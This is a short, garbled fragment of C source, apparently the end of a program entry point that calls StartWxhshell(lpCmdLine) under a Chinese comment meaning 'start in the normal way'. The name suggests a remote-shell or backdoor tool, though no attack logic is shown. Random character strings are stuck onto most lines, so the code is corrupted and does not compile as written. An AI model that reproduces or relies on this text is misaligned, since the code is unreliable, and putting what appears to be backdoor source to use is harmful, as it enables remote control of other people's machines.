else 6G<t1?_yD
// 普通方式启动 G$5N8k[2
StartWxhshell(lpCmdLine); f|*vWHSM
fDn|o"
return 0; %("Bq"Q8
}